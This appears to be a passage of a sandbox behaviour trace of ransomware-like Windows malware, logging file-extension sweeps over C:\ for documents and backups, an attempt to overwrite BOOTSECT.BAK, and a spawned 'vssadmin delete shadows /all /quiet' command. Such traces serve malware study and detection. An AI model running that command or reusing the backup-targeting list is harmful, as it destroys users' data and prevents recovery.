lpFileName="C:\\*.xlt", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.412] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.412] FindFirstFileW (in: lpFileName="C:\\*.xlw", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.412] FindFirstFileW (in: lpFileName="C:\\*.xlsb", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.413] FindFirstFileW (in: lpFileName="C:\\*.xlsm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.413] FindFirstFileW (in: lpFileName="C:\\*.xlsx", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.413] FindFirstFileW (in: lpFileName="C:\\*.xls", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.413] FindFirstFileW (in: lpFileName="C:\\*.dotm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.413] FindFirstFileW (in: lpFileName="C:\\*.dot", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.414] FindFirstFileW (in: lpFileName="C:\\*.docm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.414] FindFirstFileW (in: lpFileName="C:\\*.docx", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.414] FindFirstFileW (in: lpFileName="C:\\*.doc", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.414] FindFirstFileW (in: lpFileName="C:\\*.ndf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.415] FindFirstFileW (in: lpFileName="C:\\*.pdf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.415] FindFirstFileW (in: lpFileName="C:\\*.ib", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.415] FindFirstFileW (in: lpFileName="C:\\*.ibk", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.415] FindFirstFileW (in: lpFileName="C:\\*.mo", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.415] FindFirstFileW (in: lpFileName="C:\\*.strings", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.416] FindFirstFileW (in: lpFileName="C:\\*.nib", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.416] FindFirstFileW (in: lpFileName="C:\\*.sh", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.416] FindFirstFileW (in: lpFileName="C:\\*.log", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.416] FindFirstFileW (in: lpFileName="C:\\*.swidtag", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.417] FindFirstFileW (in: lpFileName="C:\\*.grd", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.417] FindFirstFileW (in: lpFileName="C:\\*.sig", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.417] FindFirstFileW (in: lpFileName="C:\\*.spm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.417] FindFirstFileW (in: lpFileName="C:\\*.cat", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.418] FindFirstFileW (in: lpFileName="C:\\*.tlb", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.418] FindFirstFileW (in: lpFileName="C:\\*.sres", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.418] FindFirstFileW (in: lpFileName="C:\\*.hiv", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.418] FindFirstFileW (in: lpFileName="C:\\*.resources", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.419] FindFirstFileW (in: lpFileName="C:\\*.3da", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.419] FindFirstFileW (in: lpFileName="C:\\*.3ws", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.419] FindFirstFileW (in: lpFileName="C:\\*.chm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.419] FindFirstFileW (in: lpFileName="C:\\*.3tf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.420] FindFirstFileW (in: lpFileName="C:\\*.glf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.420] FindFirstFileW (in: lpFileName="C:\\*.sqlite", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.420] FindFirstFileW (in: lpFileName="C:\\*.version", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.420] FindFirstFileW (in: lpFileName="C:\\*.manifest", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.421] FindFirstFileW (in: lpFileName="C:\\*.config", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.421] FindFirstFileW (in: lpFileName="C:\\*.gst", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.421] FindFirstFileW (in: lpFileName="C:\\*.ind", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.421] FindFirstFileW (in: lpFileName="C:\\*.id", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.421] FindFirstFileW (in: lpFileName="C:\\*.map", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.422] FindFirstFileW (in: lpFileName="C:\\*.prj", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.422] FindFirstFileW (in: lpFileName="C:\\*.lic", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.422] FindFirstFileW (in: lpFileName="C:\\*.prm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.422] FindFirstFileW (in: lpFileName="C:\\*.rss", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.423] FindFirstFileW (in: lpFileName="C:\\*.sbo", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.423] FindFirstFileW (in: lpFileName="C:\\*.cod", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.423] FindFirstFileW (in: lpFileName="C:\\*.setup", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.423] FindFirstFileW (in: lpFileName="C:\\*.glf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.424] FindFirstFileW (in: lpFileName="C:\\*.netmodule", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.424] FindFirstFileW (in: lpFileName="C:\\*.vib", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.424] FindFirstFileW (in: lpFileName="C:\\*.tib", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.424] FindFirstFileW (in: lpFileName="C:\\*.$$$", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.424] FindFirstFileW (in: lpFileName="C:\\*.$DB", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.425] FindFirstFileW (in: lpFileName="C:\\*.001", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.425] FindFirstFileW (in: lpFileName="C:\\*.001", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.425] FindFirstFileW (in: lpFileName="C:\\*.002", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.425] FindFirstFileW (in: lpFileName="C:\\*.003", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.426] FindFirstFileW (in: lpFileName="C:\\*.113", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.426] FindFirstFileW (in: lpFileName="C:\\*.73B", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.426] FindFirstFileW (in: lpFileName="C:\\*.__A", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.427] FindFirstFileW (in: lpFileName="C:\\*.__B", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.427] FindFirstFileW (in: lpFileName="C:\\*.AB", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.427] FindFirstFileW (in: lpFileName="C:\\*.ABA", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.427] FindFirstFileW (in: lpFileName="C:\\*.ABBU", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.427] FindFirstFileW (in: lpFileName="C:\\*.combo", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.428] FindFirstFileW (in: lpFileName="C:\\*.ABF", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.428] FindFirstFileW (in: lpFileName="C:\\*.ABK", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.428] FindFirstFileW (in: lpFileName="C:\\*.ABU", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.428] FindFirstFileW (in: lpFileName="C:\\*.ABU1", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.429] FindFirstFileW (in: lpFileName="C:\\*.ACP", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.429] FindFirstFileW (in: lpFileName="C:\\*.ACR", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.429] FindFirstFileW (in: lpFileName="C:\\*.ADI", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.429] FindFirstFileW (in: lpFileName="C:\\*.AEA", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.430] FindFirstFileW (in: lpFileName="C:\\*.AFI", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.430] FindFirstFileW (in: lpFileName="C:\\*.ARC", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.430] FindFirstFileW (in: lpFileName="C:\\*.ARC", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.430] FindFirstFileW (in: lpFileName="C:\\*.AS4", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.431] FindFirstFileW (in: lpFileName="C:\\*.ASD", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.431] FindFirstFileW (in: lpFileName="C:\\*.ASHBAK", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.431] FindFirstFileW (in: lpFileName="C:\\*.ASV", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.431] FindFirstFileW (in: lpFileName="C:\\*.ASVX", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.431] FindFirstFileW (in: lpFileName="C:\\*.ATE", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.432] FindFirstFileW (in: lpFileName="C:\\*.ATI", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.432] FindFirstFileW (in: lpFileName="C:\\*.BA6", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.432] FindFirstFileW (in: lpFileName="C:\\*.BA7", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.432] FindFirstFileW (in: lpFileName="C:\\*.BAC", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.433] FindFirstFileW (in: lpFileName="C:\\*.BACKUPDB", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.433] FindFirstFileW (in: lpFileName="C:\\*.BAK2", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.433] FindFirstFileW (in: lpFileName="C:\\*.BAK3", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.433] FindFirstFileW (in: lpFileName="C:\\*.BAKX", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.434] GetLongPathNameW (in: lpszShortPath="C:\\*.BAK~", lpszLongPath=0x1ae310, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0137.434] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae310, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0137.434] FindFirstFileW (in: lpFileName="C:\\*.BAK~", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.434] FindFirstFileW (in: lpFileName="C:\\*.BBB", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.434] FindFirstFileW (in: lpFileName="C:\\*.BBZ", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.435] FindFirstFileW (in: lpFileName="C:\\*.BCK", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.435] FindFirstFileW (in: lpFileName="C:\\*.BCKP", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.435] FindFirstFileW (in: lpFileName="C:\\*.BCM", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.435] FindFirstFileW (in: lpFileName="C:\\*.BDB", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.435] FindFirstFileW (in: lpFileName="C:\\*.BFF", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.436] FindFirstFileW (in: lpFileName="C:\\*.BIF", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.436] FindFirstFileW (in: lpFileName="C:\\*.BIFX", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.436] FindFirstFileW (in: lpFileName="C:\\*.BK1", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.436] FindFirstFileW (in: lpFileName="C:\\*.BKC", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.437] FindFirstFileW (in: lpFileName="C:\\*.BKF", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.437] FindFirstFileW (in: lpFileName="C:\\*.BKP", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.437] FindFirstFileW (in: lpFileName="C:\\*.BKUP", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.437] FindFirstFileW (in: lpFileName="C:\\*.BKZ", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.437] FindFirstFileW (in: lpFileName="C:\\*.dvtel", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.438] FindFirstFileW (in: lpFileName="C:\\*.BLEND1", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.438] FindFirstFileW (in: lpFileName="C:\\*.BLEND2", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.438] FindFirstFileW (in: lpFileName="C:\\*.BM3", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.438] FindFirstFileW (in: lpFileName="C:\\*.BMK", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.438] FindFirstFileW (in: lpFileName="C:\\*.BOOKEXPORT", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.438] FindFirstFileW (in: lpFileName="C:\\*.BPA", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.439] FindFirstFileW (in: lpFileName="C:\\*.BPB", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.439] FindFirstFileW (in: lpFileName="C:\\*.BPM", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.439] FindFirstFileW (in: lpFileName="C:\\*.BPN", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.439] FindFirstFileW (in: lpFileName="C:\\*.BPS", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.439] FindFirstFileW (in: lpFileName="C:\\*.BUP", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.440] FindFirstFileW (in: lpFileName="C:\\*.CAA", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.440] FindFirstFileW (in: lpFileName="C:\\*.CBK", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.440] FindFirstFileW (in: lpFileName="C:\\*.CBS", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.440] FindFirstFileW (in: lpFileName="C:\\*.CBU", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.440] GetLongPathNameW (in: lpszShortPath="C:\\*.CENON~", lpszLongPath=0x1ae310, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0137.440] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae310, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0137.441] FindFirstFileW (in: lpFileName="C:\\*.CENON~", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.441] FindFirstFileW (in: lpFileName="C:\\*.CK9", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.441] FindFirstFileW (in: lpFileName="C:\\*.CMF", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.443] FindNextFileW (in: hFindFile=0x32f770, lpFindFileData=0x1ae550 | out: lpFindFileData=0x1ae550) returned 0 [0137.444] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0137.444] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae838 | out: lpFileSizeHigh=0x1ae838*=0x0) returned 0x2000 [0137.444] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a072a8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1ae768, lpOverlapped=0x0 | out: lpBuffer=0x2a072a8*, lpNumberOfBytesRead=0x1ae768*=0x2000, lpOverlapped=0x0) returned 1 [0137.445] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.449] GetLongPathNameW (in: lpszShortPath="C:\\*.BAK~", lpszLongPath=0x1ae310, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0137.449] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae310, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0137.450] GetLongPathNameW (in: lpszShortPath="C:\\*.CENON~", lpszLongPath=0x1ae310, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0137.450] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae310, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0137.605] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0137.606] CreatePipe (in: hReadPipe=0x1ae800, hWritePipe=0x1ae7f8, lpPipeAttributes=0x1ae6f0, nSize=0x0 | out: hReadPipe=0x1ae800*=0x258, hWritePipe=0x1ae7f8*=0x260) returned 1 [0137.608] GetCurrentProcess () returned 0xffffffffffffffff [0137.608] GetCurrentProcess () returned 0xffffffffffffffff [0137.608] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x258, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ae840, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ae840*=0x264) returned 1 [0137.608] CloseHandle (hObject=0x258) returned 1 [0137.608] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0137.609] CoTaskMemAlloc (cb=0x20e) returned 0x1ac50520 [0137.609] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1ac50520 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0137.609] CoTaskMemFree (pv=0x1ac50520) [0137.613] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"cmd.exe\" /c vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1ae690*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x260, hStdError=0x0), lpProcessInformation=0x2a49360 | out: lpCommandLine="\"cmd.exe\" /c vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x2a49360*(hProcess=0x268, hThread=0x258, dwProcessId=0xb1c, dwThreadId=0xb20)) returned 1 [0137.805] CloseHandle (hObject=0x260) returned 1 [0137.825] GetConsoleOutputCP () returned 0x0 [0137.857] GetFileType (hFile=0x264) returned 0x3 [0137.908] CloseHandle (hObject=0x258) returned 1 [0138.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x1ae380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0138.199] IsAppThemed () returned 0x1 [0138.232] CoTaskMemAlloc (cb=0xf0) returned 0x1ac302f0 [0138.232] CreateActCtxA (pActCtx=0x1ae950) returned 0x1ac50528 [0138.464] CoTaskMemFree (pv=0x1ac302f0) [0138.496] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc13f [0138.496] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc13e [0138.621] GetTimeZoneInformation (in: lpTimeZoneInformation=0x1ae6e0 | out: lpTimeZoneInformation=0x1ae6e0) returned 0x2 [0138.664] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x1ae4e8 | out: pTimeZoneInformation=0x1ae4e8) returned 0x2 [0138.669] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ae4b8 | out: phkResult=0x1ae4b8*=0x270) returned 0x0 [0138.670] RegQueryValueExW (in: hKey=0x270, lpValueName="TZI", lpReserved=0x0, lpType=0x1ae4f8, lpData=0x0, lpcbData=0x1ae4f0*=0x0 | out: lpType=0x1ae4f8*=0x3, lpData=0x0, lpcbData=0x1ae4f0*=0x2c) returned 0x0 [0138.670] RegQueryValueExW (in: hKey=0x270, lpValueName="TZI", lpReserved=0x0, lpType=0x1ae4f8, lpData=0x2a50758, lpcbData=0x1ae4f0*=0x2c | out: lpType=0x1ae4f8*=0x3, lpData=0x2a50758*, lpcbData=0x1ae4f0*=0x2c) returned 0x0 [0138.670] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ae2b8 | out: phkResult=0x1ae2b8*=0x258) returned 0x0 [0138.670] RegQueryValueExW (in: hKey=0x258, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x1ae2f8, lpData=0x0, lpcbData=0x1ae2f0*=0x0 | out: lpType=0x1ae2f8*=0x4, lpData=0x0, lpcbData=0x1ae2f0*=0x4) returned 0x0 [0138.671] RegQueryValueExW (in: hKey=0x258, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x1ae2f8, lpData=0x1ae2d8, lpcbData=0x1ae2f0*=0x4 | out: lpType=0x1ae2f8*=0x4, lpData=0x1ae2d8*=0x7d7, lpcbData=0x1ae2f0*=0x4) returned 0x0 [0138.671] RegQueryValueExW (in: hKey=0x258, lpValueName="LastEntry", lpReserved=0x0, lpType=0x1ae2f8, lpData=0x0, lpcbData=0x1ae2f0*=0x0 | out: lpType=0x1ae2f8*=0x4, lpData=0x0, lpcbData=0x1ae2f0*=0x4) returned 0x0 [0138.671] RegQueryValueExW (in: hKey=0x258, lpValueName="LastEntry", lpReserved=0x0, lpType=0x1ae2f8, lpData=0x1ae2d8, lpcbData=0x1ae2f0*=0x4 | out: lpType=0x1ae2f8*=0x4, lpData=0x1ae2d8*=0x7d8, lpcbData=0x1ae2f0*=0x4) returned 0x0 [0138.671] RegQueryValueExW (in: hKey=0x258, lpValueName="2007", lpReserved=0x0, lpType=0x1ae2f8, lpData=0x0, lpcbData=0x1ae2f0*=0x0 | out: lpType=0x1ae2f8*=0x3, lpData=0x0, lpcbData=0x1ae2f0*=0x2c) returned 0x0 [0138.671] RegQueryValueExW (in: hKey=0x258, lpValueName="2007", lpReserved=0x0, lpType=0x1ae2f8, lpData=0x2a50cd8, lpcbData=0x1ae2f0*=0x2c | out: lpType=0x1ae2f8*=0x3, lpData=0x2a50cd8*, lpcbData=0x1ae2f0*=0x2c) returned 0x0 [0138.671] RegQueryValueExW (in: hKey=0x258, lpValueName="2008", lpReserved=0x0, lpType=0x1ae2f8, lpData=0x0, lpcbData=0x1ae2f0*=0x0 | out: lpType=0x1ae2f8*=0x3, lpData=0x0, lpcbData=0x1ae2f0*=0x2c) returned 0x0 [0138.671] RegQueryValueExW (in: hKey=0x258, lpValueName="2008", lpReserved=0x0, lpType=0x1ae2f8, lpData=0x2a50de0, lpcbData=0x1ae2f0*=0x2c | out: lpType=0x1ae2f8*=0x3, lpData=0x2a50de0*, lpcbData=0x1ae2f0*=0x2c) returned 0x0 [0138.671] RegCloseKey (hKey=0x258) returned 0x0 